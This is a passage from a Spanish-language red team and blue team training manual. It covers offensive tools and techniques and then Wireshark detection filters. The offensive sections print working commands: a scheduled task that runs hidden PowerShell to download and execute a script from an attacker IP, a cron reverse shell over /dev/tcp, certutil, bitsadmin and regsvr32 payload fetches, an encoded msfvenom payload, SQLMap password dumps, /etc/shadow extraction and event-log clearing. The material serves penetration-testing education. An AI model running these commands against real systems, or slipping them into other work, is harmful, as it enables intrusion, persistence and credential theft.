    - **Post:** Módulos de post-explotación que se utilizan después de obtener acceso para recopilar información, escalar privilegios o pivotar a otros sistemas.
    - **Encoders:** Herramientas para ofuscar payloads y evadir la detección de antivirus.
    - **Nops (No-Operation):** Se utilizan para rellenar el espacio en los exploits de desbordamiento de búfer y mantener la estabilidad del payload.
- **msfconsole:** Es la interfaz de línea de comandos principal y más potente para interactuar con el framework. Antes de usarla, es crucial iniciar y configurar la base de datos PostgreSQL, que Metasploit utiliza para gestionar datos de proyectos, hosts y vulnerabilidades. En Kali, esto se simplifica con el comando sudo msfdb init.Los comandos básicos en msfconsole incluyen:
    - search <término>: Busca módulos (exploits, auxiliares, etc.).
    - use <nombre_del_módulo>: Selecciona un módulo para su configuración.
    - show options: Muestra las opciones configurables para el módulo seleccionado.
    - set <OPCIÓN> <valor>: Establece un valor para una opción (ej: set RHOSTS 192.168.1.10).
    - show payloads: Muestra los payloads compatibles con el exploit seleccionado.
    - set payload <nombre_del_payload>: Selecciona un payload.
    - exploit o run: Lanza el ataque.

Análisis de Payloads: Staged vs. Stageless y Bind vs. Reverse Shells

- **Staged vs. Stageless Payloads:**
  - **Staged (Por Etapas):** Un payload staged se entrega en dos partes. Primero, se envía un pequeño "stager" que cabe en exploits con restricciones de tamaño. Este stager establece una conexión de red y luego descarga el "stage", que es el payload completo y más grande (como Meterpreter). La nomenclatura en Metasploit utiliza una barra (/), por ejemplo: windows/meterpreter/reverse_tcp.
    - **Ventaja:** Tamaño inicial muy pequeño.
    - **Desventaja:** Genera más tráfico de red (descarga del stage), es menos estable y depende de que el handler de Metasploit esté disponible para entregar la segunda etapa.
  - **Stageless (Sin Etapas):** Un payload stageless es un único ejecutable que contiene todo el código del exploit y del payload. Es autónomo. La nomenclatura en Metasploit utiliza un guion bajo (_), por ejemplo: windows/meterpreter_reverse_tcp.
    - **Ventaja:** Más estable y sigiloso una vez ejecutado, ya que no necesita descargar nada más.
    - **Desventaja:** Tamaño de archivo mucho mayor, lo que lo hace incompatible con muchos exploits de desbordamiento de búfer.
- **Bind vs. Reverse Shells:**
  - **Bind Shell:** El payload abre un puerto en la máquina víctima y se queda a la escucha. El atacante debe conectarse a ese puerto para obtener la shell.
    - **Ventaja:** Más simple de conceptualizar.
    - **Desventaja:** Casi siempre ineficaz en redes modernas. Los firewalls y NAT suelen bloquear las conexiones entrantes a puertos aleatorios, haciendo imposible que el atacante se conecte.
  - **Reverse Shell (Connect-back):** El atacante configura un "listener" (oyente) en su propia máquina. El payload, una vez ejecutado en la víctima, inicia una conexión *hacia fuera*, conectándose de vuelta al listener del atacante.
    - **Ventaja:** Extremadamente eficaz para evadir firewalls. Las políticas de firewall suelen ser mucho más permisivas con el tráfico saliente que con el entrante. Una reverse shell que se conecta al puerto 443 del atacante se camuflará como tráfico HTTPS normal.
    - **Desventaja:** Requiere que la máquina del atacante sea accesible desde la víctima.

Explotación Web con Burp Suite

Burp Suite es el estándar de la industria para las pruebas de seguridad de aplicaciones web. Su herramienta principal, **Burp Proxy**, actúa como un intermediario (Man-in-the-Middle) entre el navegador del tester y el servidor web, permitiendo interceptar, inspeccionar y modificar todo el tráfico HTTP/S.

- **Flujo de Trabajo Básico:**
  1. **Configurar el Proxy:** Inicie Burp Suite y vaya a la pestaña Proxy > Intercept. Haga clic en Open Browser para lanzar un navegador preconfigurado para usar el proxy de Burp.
  2. **Interceptar una Petición:** Active la intercepción (Intercept is on). Navegue a un

sitio web en el navegador de Burp. La página no se cargará; en su lugar, la petición HTTP aparecerá en la pestaña Intercept.

3. **Modificar y Reenviar:** Aquí puede modificar cualquier parte de la petición: el método, la URL, las cabeceras o el cuerpo. Por ejemplo, en una petición POST para añadir un artículo a un carrito, podría cambiar el parámetro price de 1337 a 1 para ver si el servidor valida el precio. Después de modificar, haga clic en Forward para enviar la petición manipulada al servidor.
4. **Analizar el Historial:** Desactive la intercepción (Intercept is off) y navegue por el sitio. Todas las peticiones y respuestas se registran en la pestaña Proxy > HTTP history para su posterior análisis.

- **Herramientas Clave:**
  - **Repeater:** Permite tomar una petición del historial, modificarla y reenviarla repetidamente para probar diferentes payloads y observar las respuestas del servidor.
  - **Intruder:** Automatiza el envío de miles de peticiones modificadas. Es ideal para ataques de fuerza bruta, fuzzing o enumeración.
  - **Scanner (Versión Pro):** Escanea automáticamente en busca de vulnerabilidades web comunes como XSS, SQLi, etc..

```
# Ejemplo de flujo en Burp Suite (conceptual):
# 1. En la pestaña Proxy > Intercept, activar "Intercept is on".
# 2. En el navegador de Burp, añadir un producto al carrito de
compras.
# 3. La petición POST /cart es interceptada. En el cuerpo de la
petición, se encuentra: productId=31&quantity=1&price=1337.00
# 4. Se modifica el valor del precio: price=0.01
# 5. Se hace clic en "Forward".
# 6. Se revisa el carrito en el navegador para ver si el precio se ha
actualizado a $0.01.
```

Inyección de SQL con SQLMap

SQLMap es una potente herramienta de código abierto que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL (SQLi) y la toma de control de servidores de bases de datos. Dada una URL con un parámetro vulnerable, SQLMap puede identificar el tipo de base de datos, extraer información sobre las bases de datos, tablas, columnas y, finalmente, volcar los datos.

- **Comandos Prácticos:**
  - **Escaneo Básico:** Identificar si un parámetro es vulnerable.
    ```
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
    ```
  - **Enumeración de Bases de Datos:** Una vez confirmada la vulnerabilidad, listar todas las bases de datos.
    ```
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
    --dbs
    ```
  - **Enumeración de Tablas:** Listar las tablas de una base de datos específica.
    ```
    sqlmap -u "URL_VULNERABLE" -D nombre_db --tables
    ```

- **Enumeración de Columnas:** Listar las columnas de una tabla específica.
  ```
  sqlmap -u "URL_VULNERABLE" -D nombre_db -T nombre_tabla --columns
  ```

- **Volcado de Datos (Dumping):** Extraer los datos de columnas específicas.
  ```
  sqlmap -u "URL_VULNERABLE" -D nombre_db -T usuarios -C usuario,contraseña --dump
  ```

- **Obtener una Shell:** En algunos casos, dependiendo de los privilegios de la base de datos y la configuración del servidor, SQLMap puede obtener una shell interactiva en el sistema operativo subyacente.
  ```
  sqlmap -u "URL_VULNERABLE" --os-shell
  ```

```
# Ejemplo completo: Desde la detección hasta el volcado de contraseñas
# 1. Listar bases de datos
sqlmap -u "http://192.168.1.10/vuln.php?id=1" --dbs
# 2. Listar tablas de la base de datos 'my_app'
sqlmap -u "http://192.168.1.10/vuln.php?id=1" -D my_app --tables
# 3. Listar columnas de la tabla 'users'
sqlmap -u "http://192.168.1.10/vuln.php?id=1" -D my_app -T users --columns
# 4. Volcar los datos de las columnas 'username' y 'password'
sqlmap -u "http://192.168.1.10/vuln.php?id=1" -D my_app -T users -C username,password --dump
```

Ataques de Fuerza Bruta con Hydra

Hydra es una herramienta de cracking de inicio de sesión en red, paralela y muy rápida. Soporta numerosos protocolos, incluyendo SSH, FTP, Telnet, HTTP-POST, SMB, y muchos más. Es la herramienta de elección para probar la fortaleza de las contraseñas en servicios de red autenticados.

- **Comandos Prácticos:**
  - **Ataque con un solo usuario y una lista de contraseñas:**
    ```
    # Intentar acceder por SSH como usuario 'root' usando cada contraseña de 'passwords.txt'
    hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.22
    ```

  - **Ataque con lista de usuarios y lista de contraseñas:**
    ```
    # Intentar acceder por FTP probando cada usuario de 'users.txt' con cada contraseña de 'passwords.txt'
    hydra -L users.txt -P passwords.txt ftp://192.168.1.22
    ```

  - **Ajuste de Rendimiento y Verbosidad:**
    ```
    # Usar 16 hilos en paralelo (-t 16) y mostrar información detallada (-vV)
    ```

```
        hydra -L users.txt -P passwords.txt -t 16 -vV
        ssh://192.168.1.22

# Ejemplo: Ataque de fuerza bruta a un formulario de login web (HTTP
POST)
# Se necesita inspeccionar la petición de login para obtener los
parámetros y el mensaje de error.
hydra -l admin -P passlist.txt 10.10.10.10 http-post-form
"/login.php:username=^USER^&password=^PASS^:Login failed"
```

Crackeo de Contraseñas con John the Ripper

John the Ripper (JtR) es una de las herramientas de cracking de contraseñas offline más conocidas y potentes. A diferencia de Hydra, que ataca servicios en vivo, JtR trabaja sobre hashes de contraseñas que han sido previamente extraídos de un sistema (por ejemplo, del archivo /etc/shadow en Linux o de un volcado de SAM en Windows).

- **Modos de Ataque:**
  - **Single Crack Mode:** Es el primer modo que prueba JtR por defecto. Es muy rápido y efectivo. Utiliza el propio nombre de usuario y variaciones del mismo (como añadir números, cambiar mayúsculas) como posibles contraseñas.
  - **Wordlist Mode:** Utiliza una lista de palabras (diccionario) como rockyou.txt. JtR puede aplicar un conjunto de reglas de mutación a cada palabra del diccionario (ej: password -> P@ssw0rd1!) para ampliar enormemente las posibilidades.
  - **Incremental Mode:** Es el modo de fuerza bruta. Prueba todas las combinaciones posibles de caracteres. Es el más lento pero el más exhaustivo.
- **Comandos Prácticos:**
  - **Preparación de Hashes (Linux):** Para crackear contraseñas de Linux, primero se deben combinar los archivos /etc/passwd y /etc/shadow.
    ```
    # Como root, combinar los archivos en uno solo para JtR
    unshadow /etc/passwd /etc/shadow > hashes_para_john
    ```
  - **Ataque Básico:** Simplemente se le pasa el archivo de hashes a JtR.
    ```
    john hashes_para_john
    ```
    JtR probará los modos single, wordlist (con su lista por defecto) e incremental en ese orden.
  - **Ataque con un Diccionario Específico:**
    ```
    # Usar la popular lista de palabras rockyou.txt
    john --wordlist=/usr/share/wordlists/rockyou.txt
    hashes_para_john
    ```
  - **Especificar el Formato del Hash:** A veces JtR no detecta el formato correcto. Se puede especificar manualmente.
    ```
    # Crackear un archivo que contiene hashes MD5 sin formato
    john --format=Raw-MD5 hashes_md5.txt
    ```
  - **Mostrar Contraseñas Crackeadas:** JtR guarda las contraseñas crackeadas en un archivo john.pot. Para verlas, se usa la opción --show.

```
john --show hashes_para_john

# Ejemplo: Crackear un archivo de hashes de Windows (formato LM)
usando el modo incremental
john --format=lm hashes_windows.txt --incremental
```

La fase de explotación es un proceso de toma de decisiones estratégicas. Un pentester no solo ejecuta comandos, sino que analiza la información del reconocimiento para seleccionar la herramienta y la configuración del payload más adecuadas para evadir las defensas y maximizar la probabilidad de éxito. La habilidad no reside en usar una sola herramienta, sino en encadenar los resultados de múltiples herramientas para lograr un objetivo más profundo, como usar SQLMap para obtener una shell, usar esa shell para cargar un payload de Meterpreter, y luego usar Meterpreter para la persistencia. Este encadenamiento es lo que define a un operador de Red Team competente.

Sección 6: Fase 3 - Post-Explotación y Persistencia

Obtener acceso inicial a un sistema es solo el comienzo de una operación de Red Team. La fase de post-explotación es donde se realizan las acciones sobre el objetivo para alcanzar las metas definidas en las Reglas de Enfrentamiento (RoE). Esto puede incluir la exfiltración de datos, el movimiento lateral a otros sistemas en la red o el establecimiento de un punto de apoyo duradero. La **persistencia** es una sub-fase crítica de la post-explotación, que consiste en implementar mecanismos que aseguren que el acceso al sistema comprometido se mantenga incluso después de reinicios, cambios de credenciales u otros eventos que podrían cortar la conexión inicial.

Dominando Meterpreter: Comandos Esenciales

Meterpreter, que significa "Meta-Intérprete", es el payload más avanzado y versátil del Metasploit Framework. A diferencia de una shell estándar, Meterpreter es un payload completamente en memoria que se inyecta en un proceso comprometido y nunca toca el disco, lo que lo hace extremadamente sigiloso y difícil de detectar por métodos forenses tradicionales. Proporciona una plataforma extensible para ejecutar comandos, cargar módulos de post-explotación y manipular el sistema víctima de forma remota.
Una vez que un exploit exitoso entrega un payload de Meterpreter, el atacante obtiene una sesión interactiva. Desde aquí, una serie de comandos esenciales permiten un control profundo sobre el sistema comprometido:

Comando	Descripción	Sintaxis de Ejemplo	Contexto de Uso (Red Team)
getuid	Muestra el ID de usuario con el que se está ejecutando la sesión de Meterpreter.	getuid	Verificar si se han obtenido privilegios de usuario estándar o elevados (ej: NT AUTHORITY\SYSTEM).
sysinfo	Muestra información básica del sistema	sysinfo	Obtener una visión general rápida del

Comando	Descripción	Sintaxis de Ejemplo	Contexto de Uso (Red Team)
	víctima (SO, arquitectura, etc.).		entorno del objetivo para planificar los siguientes pasos.
ps	Lista los procesos en ejecución en la máquina víctima.	ps	Identificar procesos interesantes, como software de seguridad, o procesos estables y con altos privilegios a los que migrar.
migrate	Migra la sesión de Meterpreter a un proceso diferente.	migrate 1234	Moverse a un proceso más estable (como explorer.exe o svchost.exe) para evitar perder la sesión si el proceso explotado originalmente se cierra o es inestable. También es una técnica de evasión.
getsystem	Intenta escalar los privilegios de la sesión al nivel de SYSTEM en Windows.	getsystem	Obtener el máximo nivel de control sobre el sistema para realizar acciones restringidas como volcar hashes de contraseñas.
hashdump	Extrae los hashes de las contraseñas del SAM (Security Account Manager) de Windows.	hashdump	Obtener credenciales para ataques de pass-the-hash, cracking offline o movimiento lateral. Requiere privilegios de SYSTEM.
shell	Proporciona una shell de comandos estándar del sistema operativo víctima.	shell	Ejecutar comandos nativos del sistema que no están disponibles directamente en Meterpreter.
upload	Sube un archivo desde la máquina del atacante a la víctima.	upload /ruta/local /ruta/remota	Transferir herramientas adicionales, scripts o payloads al sistema comprometido.
download	Descarga un archivo desde la máquina víctima a la del atacante.	download C:\\secretos\\doc.txt.	Exfiltrar datos sensibles o archivos de configuración importantes.

Comando	Descripción	Sintaxis de Ejemplo	Contexto de Uso (Red Team)
clearev	Borra los logs de Eventos de Aplicación, Sistema y Seguridad en Windows.	clearev	Eliminar las huellas de la intrusión para dificultar el análisis forense posterior. Es una acción muy ruidosa y debe usarse con precaución.

Fuentes de la tabla:

```
# Ejemplo de flujo post-explotación en Meterpreter:
# 1. Verificar privilegios actuales
meterpreter > getuid
Server username: DOMINIO\Usuario

# 2. Intentar escalar privilegios
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).

# 3. Verificar los nuevos privilegios
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# 4. Volcar los hashes de contraseña
meterpreter > hashdump

# 5. Migrar a un proceso más sigiloso y estable
meterpreter > ps
#... (localizar PID de svchost.exe, ej: 868)
meterpreter > migrate 868
```

Técnicas de Persistencia en Windows: Abuso de Tareas Programadas (schtasks)

En entornos Windows, el **Programador de Tareas** es un componente del sistema operativo utilizado para automatizar la ejecución de scripts y programas. Los atacantes abusan de esta funcionalidad legítima para establecer persistencia, ya que las tareas programadas pueden configurarse para ejecutarse en momentos específicos (como al iniciar el sistema o al iniciar sesión un usuario), con privilegios elevados (SYSTEM), y su actividad puede mezclarse fácilmente con las tareas administrativas legítimas, dificultando su detección.
La herramienta de línea de comandos schtasks.exe es el método principal para interactuar con el Programador de Tareas.

- **Sintaxis Clave de schtasks /create:**
  - /tn "NombreDeLaTarea": Especifica el nombre de la tarea. Los atacantes suelen usar nombres que parecen legítimos, como "GoogleUpdate" o "OfficeUpdaterA".
  - /tr "ComandoA_Ejecutar": La ruta al ejecutable o el comando que se lanzará. Este es el núcleo del mecanismo de persistencia.

    - /sc <frecuencia>: Define el calendario. Valores comunes para persistencia son onlogon (al iniciar sesión un usuario), onstart (al arrancar el sistema), o minute (para ejecuciones frecuentes).
    - /ru <usuario>: Especifica la cuenta de usuario con la que se ejecutará la tarea. Usar SYSTEM proporciona los privilegios más altos.
    - /f: Fuerza la creación de la tarea si ya existe una con el mismo nombre.
- **Ejemplo Práctico de Persistencia con schtasks:** Un atacante puede usar una sesión de Meterpreter (o una shell de comandos) para crear una tarea programada que descargue y ejecute un payload de PowerShell desde un servidor de Comando y Control (C2) cada vez que cualquier usuario inicie sesión.
```
# Desde una shell en la víctima, crear una tarea que se ejecuta al iniciar sesión con privilegios de SYSTEM
schtasks /create /tn "WinUpdateService" /tr "powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/beacon.ps1')\"" /sc onlogon /ru SYSTEM /f
```
Este comando crea una tarea llamada "WinUpdateService" que ejecuta PowerShell de forma oculta (-w hidden) para descargar y ejecutar (IEX) un script desde la máquina del atacante. Al ejecutarse como SYSTEM y onlogon, asegura un acceso persistente y privilegiado.

Técnicas de Persistencia en Linux: Abuso de Cron Jobs

En sistemas Linux y UNIX, cron es el demonio de programación de tareas estándar. Es el equivalente funcional del Programador de Tareas de Windows y, de manera similar, es un objetivo principal para los atacantes que buscan establecer persistencia. Un "cron job" es una tarea programada que se define en un archivo "crontab".

- **Ubicaciones de Crontab:**
    - **Crontabs de Usuario:** Cada usuario puede tener su propio archivo crontab, que se gestiona con el comando crontab -e. Estos archivos se almacenan típicamente en /var/spool/cron/crontabs/.
    - **Crontabs de Sistema:** El sistema tiene crontabs globales en /etc/crontab y en directorios como /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, etc. Los scripts colocados en estos directorios se ejecutan con la frecuencia que su nombre indica.
- **Sintaxis de Crontab:** Una línea de crontab tiene el siguiente formato: minuto hora día_mes mes día_semana usuario comando Los asteriscos (*) actúan como comodines. Por ejemplo, * * * * * significa "cada minuto de cada hora de cada día...".
- **Ejemplo Práctico de Persistencia con Cron Job:** Un atacante con acceso a una shell en un sistema Linux puede añadir fácilmente un cron job que intente establecer una reverse shell a su máquina a intervalos regulares. Esto asegura que incluso si la shell inicial se pierde, se establecerá una nueva conexión poco después.
```
# Añadir un cron job que intenta conectarse a 192.168.1.100 en el puerto 4444 cada minuto.
# El comando primero lista los cron jobs existentes (-l) y luego añade la nueva línea.
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1") | crontab -
```
Este comando es sigiloso y efectivo. 2>/dev/null suprime los mensajes de error si no

existe un crontab previo. La nueva línea de reverse shell se añade a la lista existente y se instala con crontab -. Esta es una técnica de persistencia extremadamente común y potente en entornos Linux.

La post-explotación y la persistencia son las fases donde se materializa el impacto de un ataque. La habilidad de un Red Teamer no se mide solo por su capacidad de entrar, sino por su capacidad de permanecer, moverse y alcanzar objetivos dentro de la red comprometida, todo ello mientras evade la detección.

Sección 7: Tácticas Avanzadas de Evasión

En el juego del gato y el ratón que es la ciberseguridad, la explotación es solo la mitad de la batalla. Una vez que un Red Team obtiene acceso, debe enfrentarse a un nuevo conjunto de defensas diseñadas para detectar y neutralizar la actividad post-explotación: software antivirus (AV), sistemas de detección y respuesta de endpoints (EDR) y analistas de seguridad vigilantes. Por lo tanto, las tácticas de evasión son cruciales para el éxito de una operación. Esta sección explora técnicas para eludir estas defensas, desde la ofuscación de payloads hasta el abuso de herramientas del sistema y el uso de frameworks de comando y control (C2) avanzados.

La necesidad de estas tácticas avanzadas surge de una carrera armamentista evolutiva. Inicialmente, los payloads maliciosos podían ejecutarse sin problemas. En respuesta, la industria de la seguridad desarrolló defensas basadas en firmas que detectaban patrones de bytes conocidos en archivos maliciosos. Los atacantes contrarrestaron esto con **encoders**, que ofuscaban los payloads para cambiar sus firmas. Las defensas evolucionaron de nuevo con análisis heurístico y de comportamiento, capaces de detectar no solo "lo que es" un archivo, sino "lo que hace". Esto llevó a los atacantes a adoptar la estrategia de **Living Off The Land (LOLBAS)**, abusando de herramientas legítimas y firmadas por el sistema operativo para realizar sus acciones, ya que estas herramientas no pueden ser simplemente bloqueadas por las defensas sin afectar la funcionalidad del sistema. Finalmente, la necesidad de gestionar campañas de ataque complejas de manera sigilosa y coordinada impulsó el desarrollo de frameworks C2 avanzados que permiten una personalización extrema del comportamiento del implante y su tráfico de red, representando el estado actual de la evasión.

Evasión de Antivirus con msfvenom y Encoders

msfvenom es una herramienta del Metasploit Framework que combina la generación de payloads (msfpayload) y la codificación (msfencode) en una única utilidad. Su propósito principal es crear payloads personalizados que puedan ser entregados a través de varios métodos. Una de sus características más utilizadas para la evasión de AV es la capacidad de aplicar **encoders**.

Un encoder modifica el payload original para que su firma de bytes cambie, con la esperanza de que el software antivirus no lo reconozca. El encoder añade un pequeño "decodificador stub" al principio del payload. Cuando el payload codificado se ejecuta en la máquina víctima, el stub se ejecuta primero, decodifica el payload original en memoria y luego le transfiere la ejecución.

- **Shikata Ga Nai (SGN):** Es el encoder más conocido y utilizado de Metasploit. Su nombre, japonés para "no se puede evitar", refleja su eficacia. SGN es un **encoder polimórfico**, lo que significa que el decodificador stub que genera es diferente en cada ejecución, haciendo mucho más difícil la creación de una firma estática para detectarlo.
- **Comando msfvenom para Codificación:**

```
# Generar un payload de Meterpreter reverse_https para Windows x64
# LHOST: IP del atacante, LPORT: Puerto de escucha
# -e x64/shikata_ga_nai: Especifica el encoder Shikata Ga Nai para
64 bits
# -i 15: Número de iteraciones. Codifica el payload 15 veces para
mayor ofuscación.
# -f exe: Formato de salida (un archivo ejecutable de Windows).
# -o payload.exe: Nombre del archivo de salida.
msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.1.100 LPORT=443 -e x64/shikata_ga_nai -i 15 -f exe
-o payload.exe
```

Aunque la codificación múltiple puede ayudar a evadir AVs más antiguos basados en firmas, los sistemas de defensa modernos (EDR, AV de nueva generación) a menudo utilizan análisis de comportamiento o emulación en sandbox para detectar la acción del propio decodificador, independientemente de cuántas veces se haya codificado el payload. Por lo tanto, esta técnica es un primer paso, pero rara vez es suficiente contra defensas maduras.

Viviendo del Terreno (Living Off The Land - LOLBAS)

Living Off The Land Binaries and Scripts (LOLBAS) es una técnica de ataque en la que un adversario utiliza las propias herramientas y utilidades preinstaladas del sistema operativo para llevar a cabo sus objetivos. En lugar de introducir herramientas maliciosas personalizadas (que podrían ser fácilmente detectadas por el software de seguridad), el atacante abusa de programas legítimos y firmados por Microsoft, como PowerShell.exe, Certutil.exe, Bitsadmin.exe, Wmic.exe, entre otros.
Esta táctica es extremadamente sigilosa y efectiva por varias razones:

- **Evasión de Detección:** Las herramientas utilizadas son legítimas y de confianza, por lo que su ejecución no suele levantar sospechas en los sistemas de seguridad basados en listas blancas o firmas.
- **Bajo Rastro en Disco:** Los ataques a menudo se pueden realizar completamente en memoria, sin dejar archivos maliciosos en el disco duro.
- **Mezcla con Actividad Legítima:** La actividad generada por estas herramientas es a menudo indistinguible de la actividad administrativa normal, lo que dificulta que los analistas de seguridad la identifiquen como maliciosa.
- **Ejemplos Prácticos de LOLBAS:**
    - **Descargar un payload con Certutil.exe:** certutil.exe es una herramienta de línea de comandos para gestionar certificados, pero tiene una funcionalidad que puede ser abusada para descargar archivos desde una URL.
      ```
      # Usar certutil para descargar un archivo desde la URL del
      atacante y guardarlo como payload.exe
      certutil.exe -urlcache -split -f
      http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe
      ```
      Este comando es menos propenso a ser bloqueado o monitoreado que una descarga directa a través de un navegador o PowerShell.
    - **Descargar un payload con bitsadmin.exe:** bitsadmin es otra utilidad para gestionar transferencias de archivos en segundo plano.
      ```
      # Usar bitsadmin para descargar un archivo
      ```

```
bitsadmin /transfer miDescarga /download /priority normal
http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe
```

- **Ejecución de código con Regsvr32.exe:** Esta herramienta se utiliza para registrar y anular el registro de servidores COM, pero puede ser abusada para ejecutar scripts remotos (archivos .sct) alojados en un servidor web, eludiendo los controles de ejecución de aplicaciones.
  ```
  # Ejecutar un script malicioso alojado remotamente
  regsvr32 /s /n /u /i:http://192.168.1.100/payload.sct
  scrobj.dll
  ```

El proyecto **LOLBAS Project** (https://lolbas-project.github.io/) es un recurso invaluable que cataloga cientos de binarios, scripts y librerías de Windows que pueden ser abusados para fines ofensivos.

Introducción al Comando y Control (C2) Avanzado: Malleable C2 y Covenant

A medida que las defensas de red se han vuelto más sofisticadas, la simple obtención de una reverse shell ya no es suficiente. Los Blue Teams modernos analizan el tráfico de red en busca de anomalías, y el tráfico de un payload estándar de Metasploit puede ser fácilmente identificado. Los frameworks de Comando y Control (C2 o C&C) avanzados abordan este problema permitiendo una personalización profunda del comportamiento y la comunicación del implante.

- **Cobalt Strike y Malleable C2: Cobalt Strike** es una plataforma comercial de simulación de adversarios y operaciones de Red Team, considerada un estándar en la industria. Su payload, llamado **Beacon**, es altamente configurable. La característica más potente de Cobalt Strike es **Malleable C2**. Un perfil Malleable C2 es un archivo de configuración que define cómo se ve el tráfico de red de Beacon. Permite a los operadores modificar cada aspecto de las comunicaciones HTTP/S o DNS, incluyendo :
  - **URIs, cabeceras y métodos HTTP:** Se puede hacer que el tráfico de Beacon se parezca a tráfico web legítimo, como peticiones a Google, Amazon Web Services o el uso de librerías como jQuery.
  - **Transformación de Datos:** Define cómo se codifican y ocultan los metadatos de la sesión dentro de las transacciones HTTP (por ejemplo, en cookies, cabeceras o parámetros).
  - **Comportamiento en Memoria:** Controla cómo se inyecta el payload en la memoria y cómo se oculta mientras está inactivo (sleep mask).

  El objetivo es hacer que el tráfico C2 se mezcle con el ruido de fondo de la red del objetivo, o incluso emular los indicadores de red de un actor de amenaza persistente avanzado (APT) conocido, como PlugX, para probar específicamente las defensas contra ese actor.
- **Covenant C2: Covenant** es un framework C2 de código abierto que ha ganado popularidad como una alternativa a Cobalt Strike. Su principal característica es que está completamente escrito en **.NET Core**, lo que lo hace multiplataforma (puede ejecutarse en Windows, Linux y macOS) y le permite destacar en la explotación de entornos Windows basados en.NET. Características clave de Covenant incluyen :
  - **Interfaz Web Colaborativa:** Permite que múltiples operadores de Red Team trabajen juntos en la misma operación.

    - **Implantes.NET ("Grunts"):** Sus agentes, llamados Grunts, son payloads de.NET que se compilan dinámicamente. Cada vez que se genera un Grunt, su código fuente se recompila y ofusca, evitando firmas estáticas.
    - **Perfiles de Comunicación:** Al igual que Cobalt Strike, permite la personalización de los perfiles de comunicación de los listeners para modificar la apariencia del tráfico de red.
    - **Ejecución de C# en línea:** Permite a los operadores ejecutar fragmentos de código C# directamente en los implantes, ofreciendo una gran flexibilidad.

El uso de estos frameworks C2 avanzados representa la cúspide de las operaciones de Red Team modernas. La habilidad ya no reside solo en encontrar una vulnerabilidad, sino en gestionar toda la campaña de ataque de una manera operativamente segura (OPSEC), imitando a un adversario real y permaneciendo sin ser detectado durante largos períodos de tiempo.

Parte III: La Fortaleza Digital - Manual del Blue Team

Mientras que el Red Team se enfoca en romper las defensas, el Blue Team se dedica a construirlas, mantenerlas y operarlas. La eficacia de un Blue Team no se mide por su capacidad para prevenir el 100% de los ataques —un objetivo poco realista en el panorama de amenazas actual— sino por su capacidad para **detectar**, **responder** y **recuperarse** de los incidentes de la manera más rápida y eficiente posible, minimizando el impacto en la organización. Esta sección explora las herramientas y metodologías fundamentales que utiliza el Blue Team para lograr la visibilidad necesaria, detectar actividades maliciosas y gestionar la respuesta a incidentes.

Sección 8: Visibilidad y Detección de Amenazas

La piedra angular de cualquier operación de defensa es la visibilidad. No se puede defender lo que no se puede ver. Las herramientas de análisis de tráfico de red y los sistemas de detección de intrusos son fundamentales para proporcionar esta visibilidad y permitir la detección temprana de amenazas.

Análisis de Tráfico con Wireshark

Wireshark es el analizador de protocolos de red más utilizado en el mundo. Es una herramienta indispensable para cualquier analista de seguridad, ya que permite capturar y examinar el tráfico de red a nivel de paquete individual. Para un Blue Team, Wireshark es crucial para investigar alertas de seguridad, analizar malware, solucionar problemas de red y realizar análisis forenses de red.

- **Filtros de Captura vs. Filtros de Visualización:** Es vital entender la diferencia entre estos dos tipos de filtros :
    - **Filtros de Captura (Capture Filters):** Se aplican *antes* de que comience la captura. Utilizan la sintaxis de Berkeley Packet Filter (BPF) y le dicen a Wireshark qué tráfico guardar en el archivo de captura (pcap). Son útiles para reducir el tamaño de las capturas en redes con mucho tráfico. Ejemplo: host 192.168.1.50 and port 443.
    - **Filtros de Visualización (Display Filters):** Se aplican *después* de que el tráfico ha

sido capturado. Permiten al analista ocultar el ruido y centrarse en los paquetes de interés. Son mucho más potentes y flexibles que los filtros de captura, ya que pueden diseccionar campos de protocolo específicos.

- **Filtros de Visualización Prácticos para el Blue Team:** El verdadero poder de Wireshark para un analista reside en el dominio de los filtros de visualización. A continuación, se presenta una tabla con ejemplos orientados a tareas de detección.

Escenario de Detección	Filtro de Wireshark	Explicación y Propósito
Detectar un Escaneo de Puertos SYN	tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size <= 1024	Aísla los paquetes SYN que inician conexiones, un indicador clave en escaneos de red como los de Nmap. El filtro de window_size ayuda a reducir falsos positivos.
Analizar Tráfico de un Host Sospechoso	ip.addr == 192.168.1.101	Filtra todo el tráfico entrante y saliente de la IP especificada, permitiendo una investigación enfocada de la actividad de un host potencialmente comprometido.
Buscar Peticiones de Login Fallidas (HTTP)	http.response.code == 401	Muestra todas las respuestas HTTP de "No Autorizado", útil para detectar intentos de fuerza bruta contra aplicaciones web.
Aislar Tráfico DNS Anómalo	dns.qry.type == 255 o dns.flags.response == 0 and!(dns.qry.name contains ".arpa")	El primer filtro busca peticiones DNS de tipo ANY (255), a menudo usadas en reconocimiento. El segundo busca peticiones DNS que no obtienen respuesta, lo que puede indicar C2 a través de DNS tunneling.
Seguir una Conversación TCP	tcp.stream eq 5	Reconstruye y muestra la conversación TCP completa (ida y vuelta) para un stream específico. Esencial para entender el flujo de datos de una conexión.
Detectar Tráfico HTTP No Estándar	http and!(tcp.port == 80 or tcp.port == 8080)	Busca tráfico HTTP en puertos que no son los estándar, lo que puede ser un indicador de malware intentando exfiltrar datos o comunicarse con un C2.
Encontrar Archivos Ejecutables Transferidos	http.content_type == "application/x-msdownload"	Filtra las respuestas HTTP que contienen archivos ejecutables de Windows (.exe, .dll), lo que puede indicar la descarga de

Escenario de Detección	Filtro de Wireshark	Explicación y Propósito
		malware.

Fuentes de la tabla:

```
# Ejemplo de filtro de visualización en Wireshark para buscar posibles balizas (beacons) de C2
# Muestra paquetes TCP con el flag PSH (push) salientes de nuestra red (192.168.1.0/24)
# que tengan un tamaño de payload pequeño (entre 1 y 64 bytes), una característica común del tráfico de heartbeat de malware.
